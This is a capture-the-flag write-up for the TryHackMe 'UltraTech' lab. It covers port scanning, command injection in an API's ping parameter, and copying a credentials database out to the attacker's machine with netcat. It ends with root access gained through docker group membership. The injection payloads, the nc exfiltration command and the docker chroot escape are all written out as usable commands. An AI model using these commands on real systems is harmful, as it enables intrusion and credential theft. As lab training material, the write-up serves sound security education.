Intro

UltraTech is a web hacking challenge that involves enumerating a corporate site and an API belonging to a fictional blockchain company to leak credentials via a command injection vulnerability. After we get a shell we’ll abuse the fact that our user is able to run docker to spawn a root shell.

Recon

rustscan -a 10.10.202.15 -- -sC -sV -oA nmap1

PORT      STATE SERVICE REASON  VERSION
21/tcp    open  ftp     syn-ack vsftpd 3.0.3
22/tcp    open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:66:89:85:e7:05:c2:a5:da:7f:01:20:3a:13:fc:27 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiFl7iswZsMnnI2RuX0ezMMVjUXFY1lJmZr3+H701ZA6nJUb2ymZyXusE/wuqL4BZ+x5gF2DLLRH7fdJkdebuuaMpQtQfEdsOMT+JakQgCDls38FH1jcrpGI3MY55eHcSilT/EsErmuvYv1s3Yvqds6xoxyvGgdptdqiaj4KFBNSDVneCSF/K7IQdbavM3Q7SgKchHJUHt6XO3gICmZmq8tSAdd2b2Ik/rYzpIiyMtfP3iWsyVgjR/q8oR08C2lFpPN8uSyIHkeH1py0aGl+V1E7j2yvVMIb4m3jGtLWH89iePTXmfLkin2feT6qAm7acdktZRJTjaJ8lEMFTHEijJ
|   256 c3:67:dd:26:fa:0c:56:92:f3:5b:a0:b3:8d:6d:20:ab (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLy2NkFfAZMY462Bf2wSIGzla3CDXwLNlGEpaCs1Uj55Psxk5Go/Y6Cw52NEljhi9fiXOOkIxpBEC8bOvEcNeNY=
|   256 11:9b:5a:d6:ff:2f:e4:49:d2:b5:17:36:0e:2f:1d:2f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEipoohPz5HURhNfvE+WYz4Hc26k5ObMPnAQNoUDsge3
8081/tcp  open  http    syn-ack Node.js Express framework
|_http-cors: HEAD GET POST PUT DELETE PATCH
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
31331/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 15C1B7515662078EF4B5C724E2927A96
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: UltraTech - The best of technology (AI, FinTech, Big Data)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

On port 8081 we have an API built with Express, a Node.js framework

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/UltraTech]
└─$ curl -i http://10.10.145.82:8081                                                                       
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 20
ETag: W/"14-tVlBr0s73mf41Pi7C/1PMqiyXRc"
Date: Mon, 07 Jun 2021 12:40:29 GMT
Connection: keep-alive

UltraTech API v0.1.3

We’ll want to fuzz this for endpoints later, but let’s check out what’s on 31331 first.

UltraTech corporate website

It’s a corporate site for UltraTech, a blockchain company. Let’s fuzz for content here. We’ll want to pay close attention to any javascript files we find as they may reveal API endpoints.

ffuf -t 80 -u http://10.10.202.15:31331/FUZZ -w /usr/share/wordlists/dirbustery/directory-list-2.3-medium.txt -c -ac

ffuf -t 80 -u http://10.10.202.15:31331/FUZZ -w /usr/share/wordlists/dirb/common.txt -c -ac

images                  [Status: 301, Size: 322, Words: 20, Lines: 10]
css                     [Status: 301, Size: 319, Words: 20, Lines: 10]
js                      [Status: 301, Size: 318, Words: 20, Lines: 10]
javascript              [Status: 301, Size: 326, Words: 20, Lines: 10]
index.html              [Status: 200, Size: 6092, Words: 393, Lines: 140]
robots.txt              [Status: 200, Size: 53, Words: 4, Lines: 6]

In the /js directory there is an api.js that references /ping and /auth endpoints on the API.

(function() {
    console.warn('Debugging ::');

    function getAPIURL() {
	return `${window.location.hostname}:8081`
    }
    
    function checkAPIStatus() {
	const req = new XMLHttpRequest();
	try {
	    const url = `http://${getAPIURL()}/ping?ip=${window.location.hostname}`
	    req.open('GET', url, true);
	    req.onload = function (e) {
		if (req.readyState === 4) {
		    if (req.status === 200) {
			console.log('The api seems to be running')
		    } else {
			console.error(req.statusText);
		    }
		}
	    };
	    req.onerror = function (e) {
		console.error(xhr.statusText);
	    };
	    req.send(null);
	}
	catch (e) {
	    console.error(e)
	    console.log('API Error');
	}
    }
    checkAPIStatus()
    const interval = setInterval(checkAPIStatus, 10000);
    const form = document.querySelector('form')
    form.action = `http://${getAPIURL()}/auth`;
    
})();

From the code we see we can make a request to the ping endpoint, and it is executing the ping command with the value of the IP address parameter.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/UltraTech]
└─$ curl -i http://10.10.145.82:8081/ping?ip=10.10.145.82                                      
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 263
ETag: W/"107-oGb1pBYhBZnXaJeqRwMPrx3+PL0"
Date: Mon, 07 Jun 2021 13:29:02 GMT
Connection: keep-alive

PING 10.10.145.82 (10.10.145.82) 56(84) bytes of data.
64 bytes from 10.10.145.82: icmp_seq=1 ttl=64 time=0.020 ms

--- 10.10.145.82 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.020/0.020/0.020/0.000 ms

This is a great spot to come back later and fuzz for command injection via the ip parameter, but for now let’s keep enumerating.

In robots.txt we’ll find a sitemap located at /utech_sitemap.txt. It lists a few more files our content scans didn’t pick up:

/
/index.html
/what.html
/partners.html

There is a login form on /partners.html and if we view the source, we’ll see it includes /js/api.js. So this must be the form that uses the /auth endpoint.

Partners page

We could ty to brute force our way in but that should be a last resort. We can go back to the ping route and see if there actually is a command injection vulnerability. If so we may be able to find credentials by enumerating on the box.

We can use backticks to perform command substitution, allowing us to execute arbitrary commands on the server since the developers did not implement proper input filtering.

brian@thinkpad:~/lab/hacks/tryhackme/UltraTech$ curl -i http://10.10.202.15:8081/ping?ip=\`ls\`
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 49
ETag: W/"31-HlSQypQjJ8bvYzsasjt4yTZkt90"
Date: Mon, 07 Jun 2021 23:43:46 GMT
Connection: keep-alive

ping: utech.db.sqlite: Name or service not known

We found a database! Now we need a way to transfer it back to ourselves so we can dump the contents. We can run which nc and see this box has netcat on it and we can use that to initiate a transfer.

  1. Start a netcat listener and write the output to a file: nc -nlvp 4444 > utech.db.sqlite

  2. In another terminal window run:

    curl -i http://10.10.202.15:8081/ping?ip=\`nc+-N+10.6.48.252+4444+\<+utech.db.sqlite\`
    

The -N flag will close the connection after the file transfer completes. And finally we can dump the database:

┌──(brian㉿kali)-[~/…/hacks/tryhackme/UltraTech/loot]
└─$ sqlite3 utech.db.sqlite 
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
            login Varchar,
            password Varchar,
            type Int
        );
INSERT INTO users VALUES('admin','0d0ea[REDACTED]b9be84',0);
INSERT INTO users VALUES('r00t','f357a0[REDACTED]3a32',0);
COMMIT;

It contains 2 usernames and md5 hashes, and we can run the hashes through CrackStation to look up their cleartext values.

Now we can authenticate on the Api and find a message left by admin for r00t.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/UltraTech]
└─$ curl -i http://10.10.202.15:8081/auth\?login=admin\&password=REDACTED
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 201
ETag: W/"c9-BxM4tj9E17EmK7ynp8UJSVDPSh4"
Date: Tue, 08 Jun 2021 00:51:05 GMT
Connection: keep-alive

<html>
<h1>Restricted area</h1>
<p>Hey r00t, can you please have a look at the server's configuration?<br/>
The intern did it and I don't really trust him.<br/>
Thanks!<br/><br/>
<i>lp1</i></p>
</html>

We can use the creds we found for r00t to SSH to the server and get a shell.

Privilege Escalation

There isn’t a user flag on this box so now all we have left to do is escalate to a root shell. There is also no root flag, but for the root challenge we will grab the first 9 characters of root’s private key.

After running linpeas to enumerate the box we’ll find an important clue: Docker socket file (/run/docker.socket) is writable. This is because r00t is a member of the docker group and can run docker.

docker images will show us a list of the images available on the machine.

REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
bash                latest              495d6437fc1e        2 years ago         15.8MB

We have bash, and with that we can start a new docker container with the host’s filesystem mounted, effectively giving us a root shell.

root@0faf12e8f40d:~/.ssh# docker run -v /:/mnt --rm -it bash chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# uname -a
Linux fbd5de1f2cbf 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
# cd /root/.ssh
# wc -c id_rsa 
1675 id_rsa